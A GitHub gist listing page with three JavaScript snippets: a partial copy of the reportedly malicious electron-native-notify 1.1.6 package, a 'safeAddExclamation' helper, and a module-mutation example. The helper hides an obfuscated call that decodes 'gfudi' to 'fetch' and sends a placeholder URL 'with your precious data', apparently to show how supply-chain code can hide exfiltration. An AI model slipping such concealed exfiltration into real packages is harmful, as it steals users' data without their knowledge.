Skip to content

Instantly share code, notes, and snippets.

@ievans
ievans / index.js
Created June 6, 2019 17:49
electron-native-notify-1.1.6 malicious source code
const MainProcessNotification = require("electron").Notification;
const isRenderer = process && process.type === "renderer";
const isSupported = () => isRenderer ? "Notification" in window : MainProcessNotification.isSupported();
const renderNotify = (title, body) => {
const notification = new Notification(title, {
body: body
});
return notification
};
try {
@katelynsills
katelynsills / addExclamation.js
Last active December 1, 2018 02:12
safeAddExclamation
'use strict';
const safeAddExclamation = str => {
return `${str}!`;
};
module.exports = safeAddExclamation;
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);
@GianlucaGuarini
GianlucaGuarini / a.js
Last active April 18, 2019 14:17
Use always `module.exports = Object.freeze({})`
const b = require('./b')
b.b = 'c'
module.exports = {
a: 'a'
}